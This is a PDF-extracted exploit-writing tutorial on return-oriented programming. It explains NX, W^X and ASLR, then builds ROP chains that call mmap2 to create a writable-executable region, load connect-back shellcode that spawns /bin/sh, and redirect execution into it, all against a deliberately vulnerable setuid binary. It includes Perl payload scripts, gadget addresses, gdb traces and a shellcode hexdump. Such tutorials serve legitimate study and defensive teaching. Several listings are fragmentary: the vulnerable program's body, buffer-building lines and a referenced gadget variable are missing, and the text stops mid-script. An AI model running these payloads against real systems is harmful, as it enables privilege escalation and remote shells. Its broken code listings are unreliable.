Exploit Writing Tutorial ROPWith Shellcode
Exploit Writing Tutorial ROPWith Shellcode
By Vincent Dary
Publish Date: 2016-03-20
Last Update: 2018-07-27
Contents
1 Introduction .......................................................................................................................... 3
2 Tutorial Companion .............................................................................................................. 4
3 Environment ......................................................................................................................... 5
3.1 Hardware, Operating System and Tools ...................................................................... 5
3.2 Vulnerable Program Sample ........................................................................................ 5
3.3 Exploitation Environment Setting ................................................................................ 5
3.3.1 Vulnerable Program Build ............................................................................... 5
3.3.2 NX bit and W^X .............................................................................................. 6
3.3.3 ASLR ................................................................................................................ 7
4 Return Oriented Programming ............................................................................................. 9
4.1 Introduction .................................................................................................................. 9
4.2 What is a Gadget ......................................................................................................... 9
4.3 Find Gadgets ................................................................................................................ 9
4.4 Chain Gadgets ............................................................................................................ 11
5 Vulnerability triggering ....................................................................................................... 13
6 Exploitation Surface ............................................................................................................ 14
7 Exploit Writing ..................................................................................................................... 16
7.1 Design ........................................................................................................................ 16
7.2 ROP CHAIN 1: Create a New W+X Region ................................................................ 17
7.2.1 mmap Syscall Overwiew .............................................................................. 17
7.2.2 Build .............................................................................................................. 19
7.3 ROP CHAIN 2: Shellcode Loader ................................................................................ 24
7.4 ROP CHAIN 3: EIP Redirect ........................................................................................ 29
8 Conclusion ........................................................................................................................... 32
9 Links .................................................................................................................................... 33
2 / 33
1 - Introduction
This paper shows through a scenario how to write a Return Oriented Programming based exploit which
injects and executes a shellcode directly in memory while bypassing the ASLR and the W^X protections.
The required knowledges to follow this paper are the theory of operating systems, the buffer overflow
exploitation and the shellcodes designing. All programs and source code exposed here are available on
my GitHub repository rop-with-shellcode [1].
3 / 33
2 - Tutorial Companion
All the scripts, sources code and compiled program used here can be found in the tutorial companion
repository hosted on my Github account.
4 / 33
3 - Environment
The exploit code written in the context of this paper, is tested across the following program. It is vulnerable
to a stack based buffer overflow in the foo() function. The string parameter of the foo() function is
copied in a local buffer without performs length check. This programming error can lead to a stack buffer
overflow in the buffer local variable.
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
The target vulnerable binary used in this tutorial is staticly compiled in 32 bit, with a non-executable stack
and the stack canaries protection disable. Then, the vulnerable binary is setted with root owner and the
setuid bit. The environment where the vulnerable binary is executed, provides the ASLR and the W^X
protection.
The vulnerable program sample is compiled with gcc in 32 bit ( -m32) with a non-executable stack ( -z
5 / 33
noexecstack), the stack canaries are disable (-fno-stack-protector) and with the static option (-
static) in order to include a large set of instruction available in the code segment.
Then, the program is setted with the setuid bit and the root owner.
The NX bit (No-eXecute) is a hardware level memory protection which allows to mark a memory page as
not executable. On Intel x86 this feature work only if the PAE (Physical Addresse Extension) is enable via
the PAE flag of the cr4 control register and if the NXE flag of the IA32_EFER register is set to 1. After
these conditions are in place, the 64th bit of the PDE or PTE page table entries can be used to mark a
memory page as not executable. Below, the illustration of theses conditions extract from the Intel manual.
p.2788 Intel 64 and IA-32 Architectures Software Developer's manual, Combined Volumes
For the environment used here, the processor must provide the NX feature. It can be activated in the BIOS
parameters. The informations contained in /proc/cpuinfo show if this CPU option is available.
6 / 33
$ cat /proc/cpuinfo | grep --color -E nx
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov
pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb
rdtscp lm constant_tsc arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc
cpuid aperfmperf pni pclmulqdq dtes64 monitor ds_cpl vmx smx est tm2 ssse3 sdbg
fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes
xsave avx f16c rdrand lahf_lm abm 3dnowprefetch cpuid_fault epb invpcid_single
pti tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 hle avx2 smep
bmi2 erms invpcid rtm rdseed adx smap intel_pt xsaveopt ibpb ibrs stibp dtherm
ida arat pln pts
The kernel boot messages logs if this protection is taken an account by the system.
The NX bit hardware feature is a key element (but not the only one) to implement a W^X protection
(misnomer). The goal of this protection is to prevent against the introduction of new executable code into
the process address space. It consists of these following three important restrictions on a memory
mapping as explain in the PaX project [4] (Note: On Intel x86, the PDE or PTE page table entries doesnt'
have a flag to mark a page as no-readable).
W^X write xor execute: A memory mapping cannot be both writable and executable.
X!->W execute never write: An executable memory mapping cannot be mark as writable.
W!->X write never execute: A writable memory mapping cannot be mark as executable.
The NX bit plays a central role to implement these protections. The processors like the Intel x86, based on
a Von Neumann architecture, where data and code are shared on the same memory, aren't designed to
provide this functionality by default. The NX bit helps to prevent the execution of any injected code in a
memory by setting memory page not executable. When this CPU option is not available, this functionality
can be approximately emulated by software but is less effective.
When the W^X protection is correctly implemented, this protection is very efficient against arbitrary
execution of an injected code in a process. The main techniques to bypass this protection is based on the
ROP (Return Oriented Programming) [5] and it's derived techniques, which allows to perform abitrary
computations in a process protected with the W^X protection without code injection.
3.3.3 - ASLR
The ASLR (Address Space Layout Randomization) is a software level protection which aims to map at a
random base address the segments of a process at each new execution. To be effective this protection
must relies on two main conditions.
Compile the binary main application and its libraries as position independent code.
Provide an high entropy to generate the address where a segment is loaded.
For this tutorial the ASLR protection must be activated on the system.
The effectiveness of the ASLR depends how it is implemented and how the protection is integrated with
7 / 33
the binary application. When this protection is correctly implemented and used it is very effective to protect
a process against the most of exploitation codes which need to know fixed address to work.
However this protection can be bypassed in some cases when the memory map of the target process can
be disclosed. Sometimes, It can be done with an another dedicated exploit (ex: Meltdown and Spectre [6]
), by an other vulnerability in the program which leak its memory map (ex: Heartbleed bug [7] ), by a bad
integration of the application with the ASLR (ex: not use of -fpic, -fPIC, -fpie, -fPIE gcc options) which can
left code segments at a predictable address or by a low entropy of the ASLR.
8 / 33
4 - Return Oriented Programming
The half of the exploit code written in this paper use the ROP (Return Oriented Programming). This
section provides a quick introduction to this technique on Intel x86 architecture and focus the ROP
technique on the reuse of code fragments also know as borrowed code chunks.
4.1 - Introduction
The ROP is a technique which allows to perform arbitrary computation in a target process without inject
any foreign executable code. The classic way to perform an arbitrary code execution in a target process is
to hijack the execution flow to redirect it in a shellcode injected generaly in a data memory segment. At
the opposite, in ROP based on borrowed code chunks, the hijacked execution flow is redirected on
existing sequences of executable code located in executable memory segments provides by the process
itself or by shared executable objects like the external libraries or VDSO. Then, the execution flow
executes legitimate fragments of code contain in the process address space.
A ROP exploit requires the control of the stack, or when it is not possible, requires to pivot the stack
pointer to a controlled memory area. Another important parameter to write a ROP based exploit is to know
predictable addresses where to find executable code. This latter point, is made difficult by the ASLR
protection but possible in some cases and in some exploitation conditions.
The principal benefit of ROP compared to code injection, is that technique bypass totaly the W^X
protection against exploit codes, which allows to execute code only in a memory page marked as
executable.
inc eax
ret
This gadget increments the eax register and redirect the execution flow on the instruction pointed by the
address contain in the top of the stack.
A first way to find gadget is to dissassemble an executable file or its shared libraries to find a group of
instruction terminated by an instruction which return. This can be done with a lot of tools, programmaticly
or with a dedicated tool.
An example in command line with objdump and a grep filter. The output is cutted for readbility.
9 / 33
$ objdump -D -Mintel StackBasedOverflow | grep -B 5 -E ret
...
--
0806f490 <_dl_sysinfo_int80>:
806f490: cd 80 int 0x80
806f492: c3 ret
--
...
Or, with a decicated tool like ROPgadget. The output is cutted for readbility.
Or programmaticly if you need to perform custom task, here an exemple in python with Capstone and
Pyelftools.
import sys
from elftools.elf.elffile import ELFFile
from capstone import Cs, CS_ARCH_X86, CS_MODE_32
elf_file = ELFFile(f)
code = elf_file.get_section_by_name(section)
opcodes = code.data()
addr = code['sh_addr']
md = Cs(CS_ARCH_X86, CS_MODE_32)
instructions=[]
for i in md.disasm(opcodes, addr):
instructions.append([bytes(i.bytes), i.address])
if i.mnemonic == 'ret':
print('---')
for z in instructions[-5:]:
for prev_i in md.disasm(z[0], z[1]):
print("0x%x:\t%s\t%s"
% (prev_i.address, prev_i.mnemonic, prev_i.op_str))
if __name__ == '__main__':
""" entry point """
if len(sys.argv) == 3:
find_gadgets(sys.argv[1], sys.argv[2])
10 / 33
0x80bb7f1: pop edi
0x80bb7f2: pop ebp
0x80bb7f3: ret
---
...
A ROP based exploit chains the execution of gadgets to perform abitrary computation and to achieve its
desired task like open a socket or execute a subcommand.
Bellow a basic exemple of ROP in a program vulnerable to a stack buffer overflow. Here the stack of a
vulnerable function before its corruption.
Low addresse
| |
|----------------| <- esp
| |
| BUFFER |
| |
|----------------|
| CHUNK |
|----------------| <- ebp
| SAVE EBP |
|----------------|
| RETURN ADRESSE |
|----------------|
| ARG_1 |
|----------------|
| |
High addresse
Next, a buffer overflow overwrites the return address of the foo() function with the address of the pop
edx gadget, followed by a chunck value of four bytes (0xdeadbeef) and then the address of the inc
eax gadget.
Low adresse
| |
|----------------| <- esp
| CORRUPTED |
| BUFFER |
| |
|----------------|
|overflow padding|
|----------------| <- ebp
|overflow padding|
|----------------|
| 0x080e7ba5 | --------------> 0x80e7ba5 pop edx
|----------------| 0x80e7ba6 ret
| 0xdeadbeef |
|----------------|
| 0x0807a4f6 | --------------> 0x807a4f6 inc eax
|----------------| 0x807a4f7 ret
| |
High adresse
When the foo() function returns in the calling function the leave; ret instructions are executed. The
leave instruction copies the value of the ebp register in the esp register and the old frame pointer is
popped from the stack into the ebp register to restore the calling procedure’s stack frame.
11 / 33
Low addresse
| |
|----------------|
| CORRUPTED |
| BUFFER |
| |
|----------------|
|overflow padding|
|----------------|
|overflow padding|
|----------------| <- esp
| 0x080e7ba5 | --------------> 0x80e7ba5 pop edx
|----------------| 0x80e7ba6 ret
| 0xdeadbeef |
|----------------| <- ebp
| 0x0807a4f6 | --------------> 0x807a4f6 inc eax
|----------------| 0x807a4f7 ret
| |
High addresse
Then, the ret instruction pops the value pointed by esp in the eip register (now esp point to the
0xdeadbeef value) and eip point to 0x080e7ba5, so the execution flow is redirected to the pop edx
instruction.
Low addresse
| |
|----------------|
| CORRUPTED |
| BUFFER |
| |
|----------------|
|overflow padding|
|----------------|
|overflow padding|
|----------------|
| 0x080e7ba5 | --------------> 0x80e7ba5 pop edx <- eip
|----------------| <- esp 0x80e7ba6 ret
| 0xdeadbeef |
|----------------| <- ebp
| 0x0807a4f6 | ---------------> 0x807a4f6 inc eax
|----------------| 0x807a4f7 ret
| |
High addresse
The pop edx instruction of the first gadget pops the 0xdeadbeef value in the edx register (now esp
point to 0x0807a4f6 value). Next, the ret instruction is executed and pops the value pointed by esp in
the eip register and eip point to 0x0807a4f6, so the execution path is redirected to the inc eax
instruction.
Low addresse
| |
|----------------|
| CORRUPTED |
| BUFFER |
| |
|----------------|
|overflow padding|
|----------------|
|overflow padding|
|----------------|
| 0x080e7ba5 | --------------> 0x80e7ba5 pop edx
|----------------| 0x80e7ba6 ret
| 0xdeadbeef |
|----------------| <- ebp
| 0x0807a4f6 | ---------------> 0x807a4f6 inc eax <- eip
|----------------| <- esp 0x807a4f7 ret
| |
High addresse
As the example shows, with the ROP technique it is possible to set the values of registers by various
ways. But it can be very time consumming to find the appropiates gadgets to performs task like a syscall.
It is why there are framework designed specialy for this task as angrop, ropeme or roputils.
12 / 33
5 - Vulnerability triggering
Below, a Perl script which generates a payload to trigger the stack buffer overflow in the foo() function
of the vulnerable program example.
#!/usr/bin/perl
use strict;
use warnings;
my $padding_overflow = 524;
my $buffer = "";
my $deadbeef = "\xef\xbe\xad\xde";
print $buffer;
The payload overflows the local buffer variable in the foo() function and overwrites the return
addresse with the 0xdeadbeef value. This script will be modified and completed over the course of this
paper .
$ ./StackBasedOverflow $(./trigger_bof.pl)
[buffer:0xff98b2b0]
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
Segmentation fault
The system log journal shows the correct overwrite of the return address of the foo() function.
# journalctl -f
Jan 11 02:05:20 solid kernel: StackBasedOverf[2812]: segfault at deadbeef ip
00000000deadbeef sp 00000000ffba8c80 error 14
13 / 33
6 - Exploitation Surface
Now, a vulnerability can be triggered via a stack buffer overflow and the execution flow of the process
hijacked, this section shows what to exploit in the process.
In the scenario designed here, the vulnerable binary is executed in a 32 bit GNU/Linux environment
protected by the W^X and the ASLR protections. How effective are these two protections in this scenario?
The vulnerable program is designed to sleep 20 seconds when it is called without argument. This
behaviour is helpful to analyse the program memory map. Below the program is executed in background
two times and the /proc/${!}/maps shows the process memory map of the resulting process.
Concerning the ASLR protection, as show in red in the previous output, there are segments loaded at a
fixed predictable address between two execution, and one of this segment it flagged as executable. So,
the ASLR seems to not work correctly in this scenario, the protection impacts only the heap, vvar, vdso
and the stack segments. This behaviour is induce by a bad integration of the ASLR with the binary. The
program is compiled with the -static switch which produce a position dependante executable file, the
side effects of this parameters induce that the executable code can't be mapped at random base address.
This option has been voluntarily selected to introduce a vulnerable surface in the binary. This problem can
be overcome here with the -static-pie option.
Concerning the W^X protection the previous output shows that all the segments of the process are
mapped as write or execute but not both. So, the W^X protection work correctly concerning the mapping
of the binary in memory. An another side to check concerning the W^X protection, is to check if the three
important restrictions W^X, X!->W and W!->X about a memory mapping are respected. To test these
restrictions a little program w_xor_x_test.c [10], I have written C available on my github repository is used,
It tests if the expected restrictions on creation and modification of a memory mapping are respected by the
implementaion of the mmap() and mprotect() syscalls.
14 / 33
[+] WRITE memory page code has succeeded.
[+] EXECUTE memory page code has succeeded.
[+] Executable code successfully executed.
[i] Test W->X
[+] New W memory page at 0xf7fdc000.
[+] WRITE memory page code has succeeded.
[+] Change memory page permission to X.
[+] EXECUTE memory page code has succeeded.
[+] Executable code successfully executed.
[i] Test x->w
[+] New X memory page at 0xf7fdb000.
[+] Change memory page permission to W.
[+] WRITE memory page code has succeeded.
The output shows that a memory page can be created with the W+X protections. By default without any
patch, Linux allows this behaviour, due to the principal need of the JIT (just in time compilation) for the
interpreted languages. So, this induce that an executable code can be added in the process address
space at runtime.
This set of conditions allow to write an exploit which use the ROP technique to load and execute a
shellcode. The next section of this paper shows how to write it.
15 / 33
7 - Exploit Writing
7.1 - Design
As show in the previous section the executable code of the vulnerable program exemple is loaded at a
predictable base address at each new execution, the execution flow of the process can be hijacked and
the stack is controlled, so all this conditions will be used to write a ROP based exploit. The exploit exposes
here will use the weakness in the default Linux implementation of the W^X protection to inject a shellcode
in the process and execute it. Then the shellcode will realise the more complexes operations like opening
a socket, start a shell... its the brain of this payload. The following schema shows the structure of the
exploit.
+-------------------+
| |
| ROP CHAIN 1 |
| |
| W + X |
| |
| memory mapping |
| |
+-------------------+
| |
| ROP CHAIN 2 |
| |
| shellcode loader |
| + |
| embedded |
| shellcode |
| |
+-------------------+
| |
| ROP CHAIN 3 |
| |
| shellcode caller |
| |
+-------------------+
The part named ROP CHAIN 1, is responsible for mapping a new memory aera in the proccess address
space with the writeable and the executable protection access, via the mmap() syscall, as show in the
previous section Linux allows this behaviour by default.
The second part named ROP CHAIN 2, is responsible for loading an embedded shellcode in the new
memory mapping created by ROP CHAIN 1.
The third part named ROP CHAIN 3, is responsible for redirecting the execution path at the start address
of the new memory mapping created by ROP CHAIN 1, in order to execute the shellcode loaded in this
area by ROP CHAIN 2. Then, the loaded shellcode is executed, here a connect back shellcode is used.
Every parts of this payload named ROP CHAIN * are implemented in ROP based on code reuse. The
embedded shellcode is a classic shellcode written in ASM. This paper introduces only the creation of the
part in ROP. The shellcode designing is not considered here.
16 / 33
1) Low addresses 2) Low addresses 3) Low addresses
|----------------| |----------------| |----------------|
| | | | | |
| | eip-->| | | |
| .text | | .text | | .text |
| | | | | |
eip-->| | | | | |
|----------------| |----------------| |----------------|
| .data | | .data | | .data |
|----------------| |----------------| |----------------|
| .bss | | .bss | | .bss |
|----------------| |----------------| |----------------|
| | | | | |
| .heap | | .heap | | .heap |
| | | | | |
|----------------| |----------------| |----------------|
| | | | | |
|----------------| |----------------| eip-->|----------------|
| new memory | | loaded |<------- | loaded |<-------
| area |<------- | shellcode | | | shellcode | |
| RWX | | | | | | | |
|----------------| | |----------------| | |----------------| |
| | creating new | | loading | | redirecting
| | memory area | | shellcode | | eip
| | | | | | | | |
|----------------| | |----------------| | |----------------| |
| | | | | | | | |
| ROP CHAIN 1 |-------- | ROP CHAIN 1 | | | ROP CHAIN 1 | |
| | | | | | | |
esp-->|----------------| |----------------| | |----------------| |
| | | | | | | |
| ROP CHAIN 2 | | ROP CHAIN 2 |-------- | ROP CHAIN 2 | |
| + | | + | | + | |
| shellcode | | shellcode | | shellcode | |
|----------------| esp-->|----------------| |----------------| |
| | | | | | |
| ROP CHAIN 3 | | ROP CHAIN 3 | | ROP CHAIN 3 |--------
| | | | | |
|----------------| |----------------| esp-->|----------------|
High addresses High addresses High addresses
The unic way to create memory with protection access on Linux is through the mmap syscall. Below, the
mmap() interface provides by the GLIBC, documented in the man 2.
MMAP(2)
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t
offset);
The addr and the length arguments allow to specify the start address of the new memory area and its
size. If the addr parameter is NULL, the kernel selects the address to create it. Here, this last feature is
used and allows to overcome of any hard-coded memory address and so, to benefit from some portability.
The length parameter will be fixed to 96 (0x60) bytes which is the size of the shellcode used in the next
steps.
The flags parameters will be set with the combination of the MAP_PRIVATE and MAP_ANONYMOUS
constant which allows to create a new empty memory mapping which will be not backed by any file and
which will not share with other processes.
The prot parameter will be set with the combination oh the PROT_WRITE and PROT_EXEC constants to
mark the new memory area with the write and execute access.
Below, the mmap() function completed with the necessary values for the exploit write here in order to
create a new memory area with the W+X protectections access.
17 / 33
mmap(NULL, 96, PROT_EXEC|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, NULL);
Then, a tiny program is use to provides the values of the combined constants PROT_EXEC|PROT_WRITE
and MAP_ANONYMOUS|MAP_PRIVATE.
#include <sys/mman.h>
#include <stdio.h>
void main(void)
{
printf("PROT_EXEC | PROT_WRITE: 0x%x\nMAP_ANONYMOUS | MAP_PRIVATE: 0x%x\n",
PROT_EXEC|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE);
}
The system call number assigned to mmap is available in the kernel source
arch/x86/syscalls/syscall_32.tbl or in the kernel header /usr/include/asm/unistd_32.h.
The output shows there are two mmap syscall provides by the linux kernel. The MMAP(2) manual of the
mmap() interface provides by the GLIBC for the mmap syscall supplies the following informations.
MMAP(2)
C library/kernel differences
This page describes the interface provided by the glibc mmap() wrapper function.
Originally, this function inv-oked a system call of the same name. Since kernel
2.4, that system call has been superseded by mmap2(2), and nowadays the glibc
mmap() wrapper function invokes mmap2(2) with a suitably adjusted value for
offset.
In fact, the mmap() wrapper of the GLIBC performs the mmap2 syscall by adjusting the value of the
offset argument. Here, the MAP_ANONYMOUS constant is used for the prot argument and induces that
the offset argument is ignored, so this work doesn't need to do to invoke the mmap2 syscall.
The exploit write here use the mmap2 syscall, but mmap is yet available and it has been tested
successfully in parallel. The main difference between the two syscalls is the method use to pass the
arguments to the syscall. For mmap2, the arguments are passed in the registers of the processor,
whereas for mmap, the arguments are store in a data structure and only a pointer to this structure is
passed in the eax register. The version of this payload with mmap [8] is available on my GitHub
repository. It is significantly larger and complexe than the version with mmap2, that is why this paper
expose the version with mmap2.
Finally, the operations to realize in the ROP CHAIN 1 to perform the mmap2 syscall are the following,
18 / 33
according to the x86 Linux calling convention:
Put the values 0x0, 0x60, 0x6, 0x22, 0xffffffff, 0x0 of the mmap2 arguments respectively in
the registers ebx, ecx, edx, esi, edi and ebp.
Put the value 0xc0 of the mmap2 syscall in the eax register.
Call the int $0x80 instruction to switch in kernel mode to execute the mmap2 syscall.
7.2.2 - Build
The dedicated tool ROPgadget [2] is used here to extract the available gadgets in the executable section
of the vulnerable program sample.
The first time, finding a sequence of gadgets to perform the desired task can take a lot of time. One
approach, consists in filtering the output of the gadget extractor used in order to find the required gadgets
to fill the CPU registers with the right values. Then, it's possible to optimise it manualy. Below, the
selectionned gadgets to realize the mmap2 syscall, after some manual optimization.
Below, the resulting script which builds ROP CHAIN 1 and prints it to the standard output. The operations
performs by ROP CHAIN 1 are very straightforward to understand. It overflows 32 bits values to obtain
some registers to zero and performs subtractions to obtain registers to a specific values, then it performs
the int 0x80 interruption to invoke the mmap2 syscall.
rop_chain_1.pl
#!/usr/bin/perl
use strict;
use warnings;
my $binary_name = "StackBasedOverflow";
my $padding_overflow = 524;
my $buffer = "";
my $ffffffff = "\xff\xff\xff\xff";
# gadgets section
19 / 33
#
my $pop_ebx = "\xa9\x81\x04\x08"; # 0x080481a9 : pop ebx ; ret
my $pop_ecx = "\xdf\xb9\x0d\x08"; # 0x080db9df : pop ecx ; ret
my $pop_edx = "\x4a\xed\x06\x08"; # 0x0806ed4a : pop edx ; ret
my $pop_edi = "\x80\x84\x04\x08"; # 0x08048480 : pop edi ; ret
my $pop_ebp = "\xe6\x83\x04\x08"; # 0x080483e6 : pop ebp ; ret
my $pop_eax = "\x26\x95\x0b\x08"; # 0x080b9526 : pop eax ; ret
#********************
# memory allocator
#********************
# mmap(0,sizeof(shellcode),PROT_EXEC|PROT_WRITE,MAP_ANONYMOUS|MAP_PRIVATE,-1,0);
20 / 33
# Set the syscall number in EAX
$buffer .= $pop_eax; # EAX = 0xffffffff
$buffer .= $ffffffff;
$buffer .= $pop_edx; # EDX = 0xffffff3f
$buffer .= "\x3f\xff\xff\xff";
$buffer .= $sub_eax_edx; # EAX = 0x000000c0
print $buffer;
Below, the inspection with gdb of ROP CHAIN 1 injected in the target program. Breakpoints are placed
before and after the buffer corruption at the strcpy() function call, and at the ret instruction of the
foo() function.
$ gdb -q StackBasedOverflow
Reading symbols from StackBasedOverflow...done.
(gdb) set disassembly-flavor intel
(gdb) x/20i *foo
0x80488ac <foo: push ebp
0x80488ad <foo+1>: mov ebp,esp
0x80488af <foo+3>: sub esp,0x208
0x80488b5 <foo+9>: sub esp,0x4
0x80488b8 <foo+12>: push DWORD PTR [ebp+0x8]
0x80488bb <foo+15>: lea eax,[ebp-0x208]
0x80488c1 <foo+21>: push eax
0x80488c2 <foo+22>: push 0x80bc748
0x80488c7 <foo+27>: call 0x804e840 <printf>
0x80488cc <foo+32>: add esp,0x10
0x80488cf <foo+35>: sub esp,0x8
0x80488d2 <foo+38>: push DWORD PTR [ebp+0x8]
0x80488d5 <foo+41>: lea eax,[ebp-0x208]
0x80488db <foo+47>: push eax
0x80488dc <foo+48>: call 0x80481b0
0x80488e1 <foo+53>: add esp,0x10
0x80488e4 <foo+56>: mov eax,0x0
0x80488e9 <foo+61>: leave
0x80488ea <foo+62>: ret
0x80488eb <main>: lea ecx,[esp+0x4]
(gdb) b *0x80488dc
Breakpoint 1 at 0x80488dc: file StackBasedOverflow.c, line 19.
(gdb) b *0x80488e1
Breakpoint 2 at 0x80488e1: file StackBasedOverflow.c, line 19.
(gdb) b *0x80488ea
Breakpoint 3 at 0x80488ea: file StackBasedOverflow.c, line 21.
(gdb) r "$(./rop_chain_1.pl)"
Starting program: /home/snake/StackBasedOverflow "$(./rop_chain_1.pl)"
[buffer:0xffffd510]
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
21 / 33
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA����J����������&��=�
����J������� _��������������&�
����J�?����J��������������
Below, a dump of the stack at the first breakpoint, starting from the address pointed by ebp before the
stack corruption. In red, the return address of the foo() function.
Here, a dump of the stack at the second breakpoint, at the same location, after the stack corruption. The
injected payload ROP CHAIN 1 is signaled in red and start at the location of the return address of the
foo() function.
(gdb) c
Continuing.
Below, a dump of the stack at the third breakpoint, starting at the address pointed by esp, just before the
foo() function return. ROP CHAIN 1 is in place and the code to prepare the mmap2 syscall will be
executed.
(gdb) c
Continuing.
22 / 33
=> 0x80488ea <foo+62>: ret
(gdb) x/48xw $esp
0xffffd71c: 0x080481a9 0xffffffff 0x080d8b3d 0x080db9df
0xffffd72c: 0xffffffff 0x0806ed4a 0xffffff9f 0x0809c5a2
0xffffd73c: 0x080b9526 0xffffffdd 0x0806ed4a 0xffffffff
0xffffd74c: 0x0809c5e3 0x0805c05f 0x08048480 0xffffffff
0xffffd75c: 0x080483e6 0xffffffff 0x0806c09c 0x080b9526
0xffffd76c: 0xffffffff 0x0806ed4a 0xffffff3f 0x0805429c
0xffffd77c: 0x0806ed4a 0xffffffff 0x0805c9f7 0x0805c9f7
0xffffd78c: 0x0805c9f7 0x0805c9f7 0x0805c9f7 0x0805c9f7
0xffffd79c: 0x0805c9f7 0x0806f490 0x00000000 0xffffd7c4
0xffffd7ac: 0x08048f70 0x08049010 0x00000000 0xffffd7bc
0xffffd7bc: 0x00000000 0x00000002 0xffffd918 0xffffd990
0xffffd7cc: 0x00000000 0xffffdc25 0xffffdc3c 0xffffdc47
Next, the ret instruction pop the address of the first payload gadget in the instruction pointer and the ROP
CHAIN 1 is unrolled.
(gdb) nexti
0x080481a9 in _init ()
(gdb) x/2i $eip
=> 0x80481a9 <_init+33>: pop ebx
0x80481aa <_init+34>: ret
Then, a breakpoint is set at the last int 80, ret gadget of ROP CHAIN 1 to see if the mmap2 syscall
preparations are progressing as planned.
(gdb) b *0x0806f490
Breakpoint 4 at 0x806f490
(gdb) c
Continuing.
All the values required for the mmap2 syscall are strored in the right registers and the int 0x80
23 / 33
instruction will switch in kernel mode. Below, the return value of the syscall stored in eax is displayed and
points to a new memory area.
(gdb) nexti
0x0806f492 in _dl_sysinfo_int80 ()
(gdb) x/i $eip
=> 0x806f492 <_dl_sysinfo_int80+2>: ret
(gdb) i r eax
eax 0xf7ff9000 -134246400
(gdb) x/32xw $eax
0xf7ff9000: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ff9010: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ff9020: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ff9030: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ff9040: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ff9050: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ff9060: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ff9070: 0x00000000 0x00000000 0x00000000 0x00000000
The second part of the payload is responsible for loading an embedded shellcode in the new memory area
allocated by ROP CHAIN 1. For this purpose, ROP CHAIN 2 does this by loading an embedded
shellcode by group of 4 byte in the new memory area.
The third part of the payload is responsible for redirecting the execution path in the memory area filed with
the shellcode by ROP CHAIN 2. But, to do this redirection ROP CHAIN 3 needs to know the address of
the new memory area where the embedded shellcode is loaded. To this end, ROP CHAIN 2 start by save
the return value of the mmap2 syscall in the .data section. This area is not impacted by the ASLR and so
it is loaded at a constant address at each execution. So, this address can be hardcoded in the ROP chain.
The executable file headers provides the start address of the .data section.
The embedded shellcode used here is a connect back shellcode which open a connection to 127.1.1.1 on
the port 8080. Its source connect_back_shellcode.asm [9] is available on my GitHub repository.
$ nasm connect_back_shellcode.asm
$ hexdump -C connect_back_shellcode
00000000 31 c0 b0 a4 31 db 31 c9 31 d2 cd 80 6a 66 58 31 |1...1.1.1...jfX1|
00000010 db 43 99 52 6a 01 6a 02 89 e1 cd 80 96 6a 66 58 |.C.Rj.j......jfX|
00000020 43 68 7f 01 01 01 66 68 50 50 66 53 89 e1 6a 10 |Ch....fhPPfS..j.|
00000030 51 56 89 e1 43 cd 80 87 f3 6a 02 59 b0 3f cd 80 |QV..C....j.Y.?..|
00000040 49 79 f9 b0 0b 52 68 2f 2f 73 68 68 2f 62 69 6e |Iy...Rh//shh/bin|
00000050 89 e3 52 89 e2 53 89 e1 cd 80 |..R..S....|
Below, the selected gadgets obtained with ROPgadget added to the first script to build ROP CHAIN 2.
24 / 33
0x08053142 : mov dword ptr [eax + 4], edx ; ret
Below, the script which build ROP CHAIN 1 and ROP CHAIN 2 and print it to the standard output.
rop_chain_2.pl
#!/usr/bin/perl
use strict;
use warnings;
my $binary_name = "stackbasedoverflow";
my $padding_overflow = 524;
my $buffer = "";
my $ffffffff = "\xff\xff\xff\xff";
# @data section
my $data_section_addr = "\x40\xc5\x0e\x08"; # 0x080ec540
